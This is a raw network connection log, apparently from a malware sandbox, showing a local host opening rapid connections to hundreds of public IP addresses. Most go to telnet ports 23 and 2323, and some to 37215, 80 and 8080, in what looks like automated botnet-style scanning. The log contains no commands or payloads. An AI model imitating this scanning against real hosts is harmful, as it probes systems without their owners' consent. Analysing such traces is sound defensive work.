Feb 19, 2025 19:48:55.997128963 CET	9989	23	192.168.2.15	38.232.101.34
Feb 19, 2025 19:48:55.997128963 CET	9989	23	192.168.2.15	133.76.128.117
Feb 19, 2025 19:48:55.997157097 CET	9989	23	192.168.2.15	57.98.170.35
Feb 19, 2025 19:48:55.997157097 CET	9989	23	192.168.2.15	52.124.201.61
Feb 19, 2025 19:48:55.997158051 CET	9989	23	192.168.2.15	63.186.165.35
Feb 19, 2025 19:48:55.997158051 CET	9989	23	192.168.2.15	47.127.96.71
Feb 19, 2025 19:48:55.997159958 CET	9989	23	192.168.2.15	205.168.38.188
Feb 19, 2025 19:48:55.997174025 CET	9989	23	192.168.2.15	110.29.20.100
Feb 19, 2025 19:48:55.997174025 CET	9989	23	192.168.2.15	152.98.51.23
Feb 19, 2025 19:48:55.997174978 CET	9989	23	192.168.2.15	184.96.167.160
Feb 19, 2025 19:48:55.997184992 CET	9989	23	192.168.2.15	39.100.25.30
Feb 19, 2025 19:48:55.997190952 CET	9989	23	192.168.2.15	185.86.82.192
Feb 19, 2025 19:48:55.997191906 CET	9989	2323	192.168.2.15	84.152.113.69
Feb 19, 2025 19:48:55.997194052 CET	9989	23	192.168.2.15	64.209.161.217
Feb 19, 2025 19:48:55.997204065 CET	9989	23	192.168.2.15	166.201.173.48
Feb 19, 2025 19:48:55.997210026 CET	9989	23	192.168.2.15	119.225.122.219
Feb 19, 2025 19:48:55.997210979 CET	9989	23	192.168.2.15	131.92.60.190
Feb 19, 2025 19:48:55.997210979 CET	9989	23	192.168.2.15	109.11.160.85
Feb 19, 2025 19:48:55.997210979 CET	9989	23	192.168.2.15	149.17.182.142
Feb 19, 2025 19:48:55.997212887 CET	9989	23	192.168.2.15	202.188.101.225
Feb 19, 2025 19:48:55.997215033 CET	9989	23	192.168.2.15	97.36.180.79
Feb 19, 2025 19:48:55.997210979 CET	9989	23	192.168.2.15	119.128.214.45
Feb 19, 2025 19:48:55.997216940 CET	9989	23	192.168.2.15	35.57.107.31
Feb 19, 2025 19:48:55.997219086 CET	9989	23	192.168.2.15	52.200.144.62
Feb 19, 2025 19:48:55.997221947 CET	9989	2323	192.168.2.15	52.75.225.29
Feb 19, 2025 19:48:55.997236967 CET	9989	23	192.168.2.15	46.45.19.61
Feb 19, 2025 19:48:55.997237921 CET	9989	23	192.168.2.15	167.253.20.231
Feb 19, 2025 19:48:55.997239113 CET	9989	23	192.168.2.15	212.136.144.80
Feb 19, 2025 19:48:55.997240067 CET	9989	23	192.168.2.15	220.45.233.61
Feb 19, 2025 19:48:55.997248888 CET	9989	23	192.168.2.15	207.23.197.171
Feb 19, 2025 19:48:55.997267008 CET	9989	23	192.168.2.15	87.146.62.138
Feb 19, 2025 19:48:55.997267008 CET	9989	23	192.168.2.15	20.111.84.79
Feb 19, 2025 19:48:55.997276068 CET	9989	23	192.168.2.15	53.74.172.159
Feb 19, 2025 19:48:55.997276068 CET	9989	23	192.168.2.15	17.5.101.195
Feb 19, 2025 19:48:55.997278929 CET	9989	23	192.168.2.15	187.63.14.36
Feb 19, 2025 19:48:55.997279882 CET	9989	2323	192.168.2.15	35.42.22.53
Feb 19, 2025 19:48:55.997278929 CET	9989	23	192.168.2.15	46.240.228.56
Feb 19, 2025 19:48:55.997279882 CET	9989	23	192.168.2.15	164.137.213.153
Feb 19, 2025 19:48:55.997276068 CET	9989	23	192.168.2.15	204.0.24.134
Feb 19, 2025 19:48:55.997279882 CET	9989	23	192.168.2.15	75.225.181.210
Feb 19, 2025 19:48:55.997276068 CET	9989	23	192.168.2.15	193.109.237.149
Feb 19, 2025 19:48:55.997279882 CET	9989	23	192.168.2.15	181.180.118.1
Feb 19, 2025 19:48:55.997276068 CET	9989	2323	192.168.2.15	201.180.158.90
Feb 19, 2025 19:48:55.997276068 CET	9989	23	192.168.2.15	52.61.45.223
Feb 19, 2025 19:48:55.997282028 CET	9989	23	192.168.2.15	182.107.122.100
Feb 19, 2025 19:48:55.997276068 CET	9989	23	192.168.2.15	181.57.90.245
Feb 19, 2025 19:48:55.997297049 CET	9989	23	192.168.2.15	100.38.87.200
Feb 19, 2025 19:48:55.997297049 CET	9989	23	192.168.2.15	31.110.247.108
Feb 19, 2025 19:48:55.997297049 CET	9989	23	192.168.2.15	49.97.110.30
Feb 19, 2025 19:48:55.997303963 CET	9989	23	192.168.2.15	114.182.118.164
Feb 19, 2025 19:48:55.997303963 CET	9989	2323	192.168.2.15	101.237.238.148
Feb 19, 2025 19:48:55.997303963 CET	9989	23	192.168.2.15	179.1.166.73
Feb 19, 2025 19:48:55.997308016 CET	9989	23	192.168.2.15	133.33.209.255
Feb 19, 2025 19:48:55.997312069 CET	9989	23	192.168.2.15	70.123.40.231
Feb 19, 2025 19:48:55.997312069 CET	9989	23	192.168.2.15	94.116.239.214
Feb 19, 2025 19:48:55.997312069 CET	9989	2323	192.168.2.15	186.111.18.190
Feb 19, 2025 19:48:55.997312069 CET	9989	23	192.168.2.15	138.150.10.191
Feb 19, 2025 19:48:55.997312069 CET	9989	23	192.168.2.15	193.76.228.106
Feb 19, 2025 19:48:55.997312069 CET	9989	23	192.168.2.15	24.6.72.184
Feb 19, 2025 19:48:55.997312069 CET	9989	23	192.168.2.15	187.249.13.202
Feb 19, 2025 19:48:55.997312069 CET	9989	23	192.168.2.15	53.93.160.127
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	134.120.130.96
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	159.160.39.82
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	47.35.129.46
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	87.28.215.16
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	194.98.79.116
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	68.12.224.13
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	19.223.37.149
Feb 19, 2025 19:48:55.997328043 CET	9989	23	192.168.2.15	195.100.148.5
Feb 19, 2025 19:48:55.997340918 CET	9989	23	192.168.2.15	74.173.229.200
Feb 19, 2025 19:48:55.997340918 CET	9989	2323	192.168.2.15	94.72.70.139
Feb 19, 2025 19:48:55.997340918 CET	9989	23	192.168.2.15	164.67.27.101
Feb 19, 2025 19:48:55.997340918 CET	9989	23	192.168.2.15	51.23.146.170
Feb 19, 2025 19:48:55.997340918 CET	9989	23	192.168.2.15	32.56.106.12
Feb 19, 2025 19:48:55.997340918 CET	9989	23	192.168.2.15	163.211.181.97
Feb 19, 2025 19:48:55.997340918 CET	9989	23	192.168.2.15	82.3.9.154
Feb 19, 2025 19:48:55.997350931 CET	9989	23	192.168.2.15	150.130.5.48
Feb 19, 2025 19:48:55.997371912 CET	9989	23	192.168.2.15	194.229.88.43
Feb 19, 2025 19:48:55.997378111 CET	9989	23	192.168.2.15	89.26.190.200
Feb 19, 2025 19:48:55.997378111 CET	9989	2323	192.168.2.15	1.156.212.94
Feb 19, 2025 19:48:55.997379065 CET	9989	23	192.168.2.15	12.25.48.84
Feb 19, 2025 19:48:55.997378111 CET	9989	23	192.168.2.15	185.161.175.108
Feb 19, 2025 19:48:55.997390032 CET	9989	23	192.168.2.15	102.241.158.146
Feb 19, 2025 19:48:55.997390985 CET	9989	23	192.168.2.15	46.217.150.245
Feb 19, 2025 19:48:55.997390985 CET	9989	23	192.168.2.15	217.255.92.11
Feb 19, 2025 19:48:55.997390985 CET	9989	23	192.168.2.15	78.84.31.121
Feb 19, 2025 19:48:55.997390985 CET	9989	23	192.168.2.15	59.171.144.245
Feb 19, 2025 19:48:55.997410059 CET	9989	23	192.168.2.15	201.131.92.70
Feb 19, 2025 19:48:55.997411013 CET	9989	2323	192.168.2.15	153.142.112.9
Feb 19, 2025 19:48:55.997411013 CET	9989	23	192.168.2.15	95.84.221.69
Feb 19, 2025 19:48:55.997411966 CET	9989	23	192.168.2.15	161.80.184.200
Feb 19, 2025 19:48:55.997411966 CET	60876	37215	192.168.2.15	157.41.177.195
Feb 19, 2025 19:48:55.997420073 CET	9989	23	192.168.2.15	32.160.154.39
Feb 19, 2025 19:48:55.997421026 CET	9989	23	192.168.2.15	177.23.168.178
Feb 19, 2025 19:48:55.997438908 CET	9989	23	192.168.2.15	219.185.159.20
Feb 19, 2025 19:48:55.997459888 CET	9989	23	192.168.2.15	88.198.22.234
Feb 19, 2025 19:48:55.997459888 CET	9989	23	192.168.2.15	174.3.217.194
Feb 19, 2025 19:48:55.997462988 CET	9989	23	192.168.2.15	111.50.181.233
Feb 19, 2025 19:48:55.997462988 CET	9989	23	192.168.2.15	111.73.252.62
Feb 19, 2025 19:48:55.997462988 CET	9989	23	192.168.2.15	77.176.201.187
Feb 19, 2025 19:48:55.997466087 CET	9989	23	192.168.2.15	163.151.135.20
Feb 19, 2025 19:48:55.997482061 CET	9989	23	192.168.2.15	106.180.185.85
Feb 19, 2025 19:48:55.997489929 CET	9989	23	192.168.2.15	112.20.18.44
Feb 19, 2025 19:48:55.997507095 CET	9989	23	192.168.2.15	48.75.95.174
Feb 19, 2025 19:48:55.997507095 CET	9989	23	192.168.2.15	79.173.225.97
Feb 19, 2025 19:48:55.997507095 CET	9989	23	192.168.2.15	89.167.91.250
Feb 19, 2025 19:48:55.997509956 CET	9989	23	192.168.2.15	42.251.208.238
Feb 19, 2025 19:48:55.997519016 CET	9989	23	192.168.2.15	48.126.171.41
Feb 19, 2025 19:48:55.997524023 CET	9989	23	192.168.2.15	125.107.38.49
Feb 19, 2025 19:48:55.997534037 CET	9989	2323	192.168.2.15	206.201.72.74
Feb 19, 2025 19:48:55.997535944 CET	9989	23	192.168.2.15	65.54.126.93
Feb 19, 2025 19:48:55.997545958 CET	9989	23	192.168.2.15	203.148.174.238
Feb 19, 2025 19:48:55.997550011 CET	9989	23	192.168.2.15	199.85.234.165
Feb 19, 2025 19:48:55.997550011 CET	9989	23	192.168.2.15	133.71.1.250
Feb 19, 2025 19:48:55.997556925 CET	9989	23	192.168.2.15	117.252.188.254
Feb 19, 2025 19:48:55.997558117 CET	9989	23	192.168.2.15	95.224.107.102
Feb 19, 2025 19:48:55.997571945 CET	9989	23	192.168.2.15	140.249.241.201
Feb 19, 2025 19:48:55.997571945 CET	9989	2323	192.168.2.15	129.71.147.53
Feb 19, 2025 19:48:55.997575045 CET	9989	23	192.168.2.15	167.240.233.143
Feb 19, 2025 19:48:55.997575998 CET	9989	23	192.168.2.15	179.52.90.20
Feb 19, 2025 19:48:55.997576952 CET	9989	23	192.168.2.15	203.92.171.161
Feb 19, 2025 19:48:55.997577906 CET	9989	23	192.168.2.15	51.148.39.220
Feb 19, 2025 19:48:55.997577906 CET	9989	23	192.168.2.15	110.197.166.14
Feb 19, 2025 19:48:55.997577906 CET	9989	23	192.168.2.15	92.63.147.3
Feb 19, 2025 19:48:55.997610092 CET	9989	23	192.168.2.15	13.92.0.237
Feb 19, 2025 19:48:55.997611046 CET	9989	23	192.168.2.15	146.194.148.155
Feb 19, 2025 19:48:55.997617960 CET	9989	23	192.168.2.15	103.50.186.150
Feb 19, 2025 19:48:55.997625113 CET	9989	23	192.168.2.15	196.112.76.211
Feb 19, 2025 19:48:55.997642994 CET	9989	23	192.168.2.15	218.51.39.212
Feb 19, 2025 19:48:55.997643948 CET	9989	23	192.168.2.15	125.229.186.1
Feb 19, 2025 19:48:55.997644901 CET	9989	23	192.168.2.15	193.183.175.58
Feb 19, 2025 19:48:55.997647047 CET	9989	23	192.168.2.15	132.146.177.145
Feb 19, 2025 19:48:55.997662067 CET	9989	23	192.168.2.15	71.36.100.46
Feb 19, 2025 19:48:55.997662067 CET	9989	23	192.168.2.15	221.35.123.11
Feb 19, 2025 19:48:55.997669935 CET	9989	23	192.168.2.15	77.127.155.165
Feb 19, 2025 19:48:55.997670889 CET	9989	2323	192.168.2.15	19.153.207.202
Feb 19, 2025 19:48:55.997670889 CET	9989	23	192.168.2.15	95.158.82.123
Feb 19, 2025 19:48:55.997670889 CET	9989	23	192.168.2.15	161.170.81.52
Feb 19, 2025 19:48:55.997673035 CET	9989	23	192.168.2.15	125.252.65.48
Feb 19, 2025 19:48:55.997673035 CET	9989	23	192.168.2.15	167.92.138.98
Feb 19, 2025 19:48:55.997673035 CET	9989	23	192.168.2.15	138.219.37.113
Feb 19, 2025 19:48:55.997693062 CET	9989	23	192.168.2.15	46.232.16.158
Feb 19, 2025 19:48:55.997694969 CET	9989	23	192.168.2.15	32.136.63.202
Feb 19, 2025 19:48:55.997694969 CET	9989	23	192.168.2.15	58.51.0.122
Feb 19, 2025 19:48:55.997716904 CET	9989	2323	192.168.2.15	189.122.13.153
Feb 19, 2025 19:48:55.997719049 CET	9989	23	192.168.2.15	4.26.41.100
Feb 19, 2025 19:48:55.997724056 CET	9989	23	192.168.2.15	206.3.137.148
Feb 19, 2025 19:48:55.997725964 CET	9989	23	192.168.2.15	98.92.5.190
Feb 19, 2025 19:48:55.997733116 CET	9989	23	192.168.2.15	25.1.213.115
Feb 19, 2025 19:48:55.997735023 CET	9989	23	192.168.2.15	182.192.1.192
Feb 19, 2025 19:48:55.997736931 CET	9989	23	192.168.2.15	216.237.65.25
Feb 19, 2025 19:48:55.997751951 CET	9989	2323	192.168.2.15	219.74.212.123
Feb 19, 2025 19:48:55.997761011 CET	9989	23	192.168.2.15	63.40.162.165
Feb 19, 2025 19:48:55.997761011 CET	9989	23	192.168.2.15	199.181.111.13
Feb 19, 2025 19:48:55.997764111 CET	9989	23	192.168.2.15	69.201.73.144
Feb 19, 2025 19:48:55.997764111 CET	9989	23	192.168.2.15	82.32.233.161
Feb 19, 2025 19:48:55.997766018 CET	9989	23	192.168.2.15	194.71.67.98
Feb 19, 2025 19:48:55.997766972 CET	9989	23	192.168.2.15	106.183.85.218
Feb 19, 2025 19:48:55.997786999 CET	9989	23	192.168.2.15	82.174.24.79
Feb 19, 2025 19:48:55.997786999 CET	9989	23	192.168.2.15	36.83.102.27
Feb 19, 2025 19:48:55.997786999 CET	9989	23	192.168.2.15	109.228.248.13
Feb 19, 2025 19:48:55.997791052 CET	9989	23	192.168.2.15	90.69.107.92
Feb 19, 2025 19:48:55.997792006 CET	9989	2323	192.168.2.15	40.187.117.74
Feb 19, 2025 19:48:55.997792006 CET	9989	23	192.168.2.15	187.249.228.235
Feb 19, 2025 19:48:55.997792006 CET	9989	23	192.168.2.15	179.212.160.174
Feb 19, 2025 19:48:55.997797966 CET	9989	23	192.168.2.15	159.172.106.50
Feb 19, 2025 19:48:55.997801065 CET	9989	23	192.168.2.15	157.209.117.77
Feb 19, 2025 19:48:55.997802019 CET	9989	23	192.168.2.15	65.31.232.240
Feb 19, 2025 19:48:55.997812033 CET	9989	23	192.168.2.15	122.80.116.177
Feb 19, 2025 19:48:55.997814894 CET	9989	23	192.168.2.15	70.188.5.144
Feb 19, 2025 19:48:55.997817039 CET	9989	23	192.168.2.15	51.245.245.2
Feb 19, 2025 19:48:55.997819901 CET	9989	23	192.168.2.15	78.93.13.10
Feb 19, 2025 19:48:55.997833967 CET	9989	23	192.168.2.15	121.9.175.254
Feb 19, 2025 19:48:55.997842073 CET	9989	23	192.168.2.15	218.156.139.79
Feb 19, 2025 19:48:55.997848034 CET	9989	23	192.168.2.15	221.49.151.10
Feb 19, 2025 19:48:55.997881889 CET	9989	23	192.168.2.15	218.243.40.26
Feb 19, 2025 19:48:55.997881889 CET	9989	23	192.168.2.15	57.87.208.139
Feb 19, 2025 19:48:55.997884989 CET	9989	23	192.168.2.15	49.162.45.144
Feb 19, 2025 19:48:55.997899055 CET	9989	23	192.168.2.15	152.249.217.60
Feb 19, 2025 19:48:55.997904062 CET	9989	23	192.168.2.15	130.12.11.85
Feb 19, 2025 19:48:55.997905016 CET	9989	23	192.168.2.15	172.147.251.198
Feb 19, 2025 19:48:55.997905016 CET	9989	23	192.168.2.15	67.81.27.211
Feb 19, 2025 19:48:55.997909069 CET	9989	23	192.168.2.15	76.36.215.142
Feb 19, 2025 19:48:55.997910023 CET	9989	23	192.168.2.15	198.213.195.76
Feb 19, 2025 19:48:55.997917891 CET	9989	2323	192.168.2.15	208.247.218.71
Feb 19, 2025 19:48:55.997926950 CET	9989	23	192.168.2.15	37.63.139.60
Feb 19, 2025 19:48:55.997939110 CET	9989	23	192.168.2.15	37.50.118.128
Feb 19, 2025 19:48:55.997942924 CET	9989	23	192.168.2.15	57.208.45.176
Feb 19, 2025 19:48:55.997946024 CET	9989	23	192.168.2.15	14.33.78.146
Feb 19, 2025 19:48:55.997946024 CET	9989	23	192.168.2.15	53.94.244.149
Feb 19, 2025 19:48:55.997951031 CET	9989	23	192.168.2.15	121.155.101.5
Feb 19, 2025 19:48:55.997951031 CET	9989	23	192.168.2.15	42.211.35.142
Feb 19, 2025 19:48:55.997951031 CET	9989	23	192.168.2.15	160.98.132.126
Feb 19, 2025 19:48:55.997951031 CET	9989	23	192.168.2.15	41.217.70.155
Feb 19, 2025 19:48:55.997951984 CET	9989	23	192.168.2.15	133.182.209.175
Feb 19, 2025 19:48:55.997951984 CET	9989	2323	192.168.2.15	71.16.201.244
Feb 19, 2025 19:48:55.997951984 CET	9989	23	192.168.2.15	173.192.216.196
Feb 19, 2025 19:48:55.997957945 CET	9989	23	192.168.2.15	140.44.241.88
Feb 19, 2025 19:48:55.997958899 CET	9989	23	192.168.2.15	35.144.236.222
Feb 19, 2025 19:48:55.997960091 CET	9989	23	192.168.2.15	92.254.219.172
Feb 19, 2025 19:48:55.997971058 CET	9989	23	192.168.2.15	68.42.241.254
Feb 19, 2025 19:48:55.997972965 CET	9989	23	192.168.2.15	160.73.203.242
Feb 19, 2025 19:48:55.997972965 CET	9989	2323	192.168.2.15	57.244.83.232
Feb 19, 2025 19:48:55.997972965 CET	9989	23	192.168.2.15	5.122.94.125
Feb 19, 2025 19:48:55.997972965 CET	9989	23	192.168.2.15	205.95.50.39
Feb 19, 2025 19:48:55.997972965 CET	9989	23	192.168.2.15	157.97.145.118
Feb 19, 2025 19:48:55.997972965 CET	9989	2323	192.168.2.15	218.241.50.51
Feb 19, 2025 19:48:55.997972965 CET	9989	23	192.168.2.15	93.47.211.36
Feb 19, 2025 19:48:55.997972965 CET	9989	23	192.168.2.15	60.176.223.242
Feb 19, 2025 19:48:55.997977018 CET	9989	23	192.168.2.15	184.143.255.10
Feb 19, 2025 19:48:55.997977018 CET	9989	23	192.168.2.15	193.179.134.157
Feb 19, 2025 19:48:55.997977018 CET	9989	23	192.168.2.15	110.64.81.9
Feb 19, 2025 19:48:55.997977972 CET	9989	2323	192.168.2.15	101.21.184.12
Feb 19, 2025 19:48:55.997977972 CET	9989	23	192.168.2.15	90.148.201.92
Feb 19, 2025 19:48:55.997977972 CET	9989	23	192.168.2.15	200.195.99.105
Feb 19, 2025 19:48:55.997988939 CET	9989	23	192.168.2.15	175.27.147.47
Feb 19, 2025 19:48:55.997988939 CET	9989	23	192.168.2.15	148.91.92.111
Feb 19, 2025 19:48:55.997988939 CET	9989	23	192.168.2.15	73.61.56.29
Feb 19, 2025 19:48:55.997988939 CET	9989	23	192.168.2.15	42.83.63.84
Feb 19, 2025 19:48:55.997988939 CET	9989	2323	192.168.2.15	34.44.184.225
Feb 19, 2025 19:48:55.997988939 CET	9989	23	192.168.2.15	132.234.30.46
Feb 19, 2025 19:48:55.997988939 CET	9989	23	192.168.2.15	155.36.159.17
Feb 19, 2025 19:48:55.997988939 CET	9989	23	192.168.2.15	119.130.126.239
Feb 19, 2025 19:48:55.997991085 CET	9989	23	192.168.2.15	145.52.164.196
Feb 19, 2025 19:48:55.997998953 CET	9989	23	192.168.2.15	65.18.204.153
Feb 19, 2025 19:48:55.997998953 CET	9989	2323	192.168.2.15	66.110.71.157
Feb 19, 2025 19:48:55.998002052 CET	9989	23	192.168.2.15	222.19.93.161
Feb 19, 2025 19:48:55.998003960 CET	9989	23	192.168.2.15	110.43.68.91
Feb 19, 2025 19:48:55.998003960 CET	9989	23	192.168.2.15	111.182.102.152
Feb 19, 2025 19:48:55.998003960 CET	9989	23	192.168.2.15	19.15.96.13
Feb 19, 2025 19:48:55.998003960 CET	9989	2323	192.168.2.15	122.221.115.232
Feb 19, 2025 19:48:55.998003960 CET	9989	23	192.168.2.15	111.14.67.94
Feb 19, 2025 19:48:55.998003960 CET	9989	23	192.168.2.15	126.85.47.196
Feb 19, 2025 19:48:55.998004913 CET	9989	23	192.168.2.15	193.155.216.51
Feb 19, 2025 19:48:55.998014927 CET	9989	23	192.168.2.15	190.91.34.223
Feb 19, 2025 19:48:55.998018980 CET	9989	23	192.168.2.15	54.225.234.227
Feb 19, 2025 19:48:55.998033047 CET	9989	23	192.168.2.15	42.230.2.253
Feb 19, 2025 19:48:55.998053074 CET	9989	23	192.168.2.15	207.153.33.105
Feb 19, 2025 19:48:55.998054981 CET	9989	23	192.168.2.15	86.237.175.143
Feb 19, 2025 19:48:55.998054981 CET	9989	2323	192.168.2.15	100.141.116.11
Feb 19, 2025 19:48:55.998054981 CET	9989	23	192.168.2.15	78.86.79.45
Feb 19, 2025 19:48:55.998058081 CET	9989	23	192.168.2.15	140.4.124.232
Feb 19, 2025 19:48:55.998069048 CET	9989	23	192.168.2.15	185.83.50.233
Feb 19, 2025 19:48:55.998083115 CET	9989	23	192.168.2.15	208.132.206.127
Feb 19, 2025 19:48:55.998085022 CET	9989	23	192.168.2.15	211.128.239.141
Feb 19, 2025 19:48:55.998085022 CET	9989	23	192.168.2.15	100.252.185.2
Feb 19, 2025 19:48:55.998086929 CET	9989	23	192.168.2.15	205.182.84.255
Feb 19, 2025 19:48:55.998094082 CET	9989	2323	192.168.2.15	164.159.76.89
Feb 19, 2025 19:48:55.998100042 CET	9989	23	192.168.2.15	139.94.231.248
Feb 19, 2025 19:48:55.998107910 CET	9989	23	192.168.2.15	38.105.249.63
Feb 19, 2025 19:48:55.998110056 CET	9989	23	192.168.2.15	119.243.123.17
Feb 19, 2025 19:48:55.998112917 CET	9989	23	192.168.2.15	25.128.45.217
Feb 19, 2025 19:48:55.998112917 CET	9989	23	192.168.2.15	136.24.29.117
Feb 19, 2025 19:48:55.998112917 CET	9989	23	192.168.2.15	117.138.16.98
Feb 19, 2025 19:48:55.998117924 CET	9989	23	192.168.2.15	152.112.33.96
Feb 19, 2025 19:48:55.998121023 CET	9989	23	192.168.2.15	103.65.250.21
Feb 19, 2025 19:48:55.998126030 CET	9989	23	192.168.2.15	149.138.159.19
Feb 19, 2025 19:48:55.998126030 CET	9989	23	192.168.2.15	75.79.246.8
Feb 19, 2025 19:48:55.998131990 CET	9989	2323	192.168.2.15	146.7.60.174
Feb 19, 2025 19:48:55.998148918 CET	9989	23	192.168.2.15	198.143.124.178
Feb 19, 2025 19:48:55.998148918 CET	9989	23	192.168.2.15	115.162.150.136
Feb 19, 2025 19:48:55.998148918 CET	9989	23	192.168.2.15	182.222.12.104
Feb 19, 2025 19:48:55.998152971 CET	9989	23	192.168.2.15	39.200.172.91
Feb 19, 2025 19:48:55.998159885 CET	9989	23	192.168.2.15	35.121.156.254
Feb 19, 2025 19:48:55.998173952 CET	9989	23	192.168.2.15	4.102.10.161
Feb 19, 2025 19:48:55.998173952 CET	9989	2323	192.168.2.15	19.78.219.28
Feb 19, 2025 19:48:55.998176098 CET	9989	23	192.168.2.15	170.147.33.111
Feb 19, 2025 19:48:55.998191118 CET	9989	23	192.168.2.15	178.76.11.196
Feb 19, 2025 19:48:55.998203039 CET	9989	23	192.168.2.15	91.171.112.0
Feb 19, 2025 19:48:55.998205900 CET	9989	23	192.168.2.15	119.171.250.89
Feb 19, 2025 19:48:55.998207092 CET	9989	23	192.168.2.15	87.57.199.74
Feb 19, 2025 19:48:55.998207092 CET	9989	23	192.168.2.15	135.11.177.227
Feb 19, 2025 19:48:55.998212099 CET	9989	23	192.168.2.15	99.175.136.213
Feb 19, 2025 19:48:55.998223066 CET	9989	2323	192.168.2.15	14.87.25.158
Feb 19, 2025 19:48:55.998225927 CET	9989	23	192.168.2.15	57.210.252.26
Feb 19, 2025 19:48:55.998228073 CET	9989	23	192.168.2.15	91.236.44.132
Feb 19, 2025 19:48:55.998238087 CET	9989	23	192.168.2.15	2.49.148.146
Feb 19, 2025 19:48:55.998240948 CET	9989	23	192.168.2.15	174.170.226.183
Feb 19, 2025 19:48:55.998255014 CET	9989	23	192.168.2.15	34.212.178.76
Feb 19, 2025 19:48:55.998259068 CET	9989	2323	192.168.2.15	190.134.29.0
Feb 19, 2025 19:48:55.998271942 CET	9989	23	192.168.2.15	80.191.250.223
Feb 19, 2025 19:48:55.998274088 CET	9989	23	192.168.2.15	177.144.23.132
Feb 19, 2025 19:48:55.998275042 CET	9989	23	192.168.2.15	62.31.47.16
Feb 19, 2025 19:48:55.998277903 CET	9989	23	192.168.2.15	134.56.110.17
Feb 19, 2025 19:48:55.998282909 CET	9989	23	192.168.2.15	50.10.48.136
Feb 19, 2025 19:48:55.998294115 CET	9989	23	192.168.2.15	42.218.138.228
Feb 19, 2025 19:48:55.998300076 CET	9989	23	192.168.2.15	5.204.162.191
Feb 19, 2025 19:48:55.998300076 CET	9989	23	192.168.2.15	113.4.205.138
Feb 19, 2025 19:48:55.998310089 CET	9989	2323	192.168.2.15	98.32.18.71
Feb 19, 2025 19:48:55.998322010 CET	9989	23	192.168.2.15	196.108.111.150
Feb 19, 2025 19:48:55.998322964 CET	9989	23	192.168.2.15	200.146.249.16
Feb 19, 2025 19:48:55.998322964 CET	9989	23	192.168.2.15	131.53.78.63
Feb 19, 2025 19:48:55.999181986 CET	9989	23	192.168.2.15	176.228.224.50
Feb 19, 2025 19:48:55.999181986 CET	9989	23	192.168.2.15	4.124.132.9
Feb 19, 2025 19:48:55.999185085 CET	9989	23	192.168.2.15	204.101.214.27
Feb 19, 2025 19:48:55.999185085 CET	9989	23	192.168.2.15	171.232.106.2
Feb 19, 2025 19:48:55.999185085 CET	9989	23	192.168.2.15	177.191.236.165
Feb 19, 2025 19:48:55.999185085 CET	9989	23	192.168.2.15	182.167.236.160
Feb 19, 2025 19:48:55.999185085 CET	9989	23	192.168.2.15	59.90.163.235
Feb 19, 2025 19:48:55.999185085 CET	9989	23	192.168.2.15	114.126.209.64
Feb 19, 2025 19:48:55.999185085 CET	9989	23	192.168.2.15	45.227.59.105
Feb 19, 2025 19:48:55.999211073 CET	9989	23	192.168.2.15	101.69.120.5
Feb 19, 2025 19:48:55.999211073 CET	9989	23	192.168.2.15	194.173.233.114
Feb 19, 2025 19:48:55.999211073 CET	9989	23	192.168.2.15	93.214.170.79
Feb 19, 2025 19:48:55.999211073 CET	9989	23	192.168.2.15	128.127.137.205
Feb 19, 2025 19:48:56.002235889 CET	2323	9989	168.193.193.213	192.168.2.15
Feb 19, 2025 19:48:56.002249956 CET	23	9989	204.47.164.17	192.168.2.15
Feb 19, 2025 19:48:56.002263069 CET	23	9989	64.90.42.131	192.168.2.15
Feb 19, 2025 19:48:56.002279997 CET	23	9989	125.131.249.221	192.168.2.15
Feb 19, 2025 19:48:56.002290964 CET	23	9989	202.27.72.193	192.168.2.15
Feb 19, 2025 19:48:56.002295017 CET	9989	2323	192.168.2.15	168.193.193.213
Feb 19, 2025 19:48:56.002295971 CET	9989	23	192.168.2.15	64.90.42.131
Feb 19, 2025 19:48:56.002324104 CET	9989	23	192.168.2.15	125.131.249.221
Feb 19, 2025 19:48:56.002325058 CET	9989	23	192.168.2.15	204.47.164.17
Feb 19, 2025 19:48:56.002325058 CET	9989	23	192.168.2.15	202.27.72.193
Feb 19, 2025 19:48:56.003202915 CET	54446	80	192.168.2.15	88.32.226.221
Feb 19, 2025 19:48:56.021337032 CET	33950	37215	192.168.2.15	157.46.200.224
Feb 19, 2025 19:48:56.026524067 CET	37215	33950	157.46.200.224	192.168.2.15
Feb 19, 2025 19:48:56.026583910 CET	33950	37215	192.168.2.15	157.46.200.224
Feb 19, 2025 19:48:56.032576084 CET	58060	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.032579899 CET	38592	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.032582998 CET	51706	80	192.168.2.15	88.6.209.151
Feb 19, 2025 19:48:56.035176992 CET	48408	8080	192.168.2.15	62.0.241.194
Feb 19, 2025 19:48:56.035181046 CET	35606	80	192.168.2.15	88.95.211.113
Feb 19, 2025 19:48:56.037640095 CET	80	38592	88.57.1.237	192.168.2.15
Feb 19, 2025 19:48:56.037652969 CET	80	58060	88.82.168.5	192.168.2.15
Feb 19, 2025 19:48:56.037703037 CET	58060	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.038079023 CET	38592	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.038080931 CET	7685	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:56.038080931 CET	7685	80	192.168.2.15	95.147.143.251
Feb 19, 2025 19:48:56.038114071 CET	7685	80	192.168.2.15	95.90.225.214
Feb 19, 2025 19:48:56.038115025 CET	7685	80	192.168.2.15	95.175.68.75
Feb 19, 2025 19:48:56.038134098 CET	7685	80	192.168.2.15	95.123.100.152
Feb 19, 2025 19:48:56.038146019 CET	7685	80	192.168.2.15	95.67.57.255
Feb 19, 2025 19:48:56.038172007 CET	7685	80	192.168.2.15	95.97.103.182
Feb 19, 2025 19:48:56.038180113 CET	7685	80	192.168.2.15	95.131.3.120
Feb 19, 2025 19:48:56.038242102 CET	7685	80	192.168.2.15	95.254.234.110
Feb 19, 2025 19:48:56.038242102 CET	7685	80	192.168.2.15	95.98.137.87
Feb 19, 2025 19:48:56.038269997 CET	7685	80	192.168.2.15	95.121.198.218
Feb 19, 2025 19:48:56.038271904 CET	7685	80	192.168.2.15	95.61.108.136
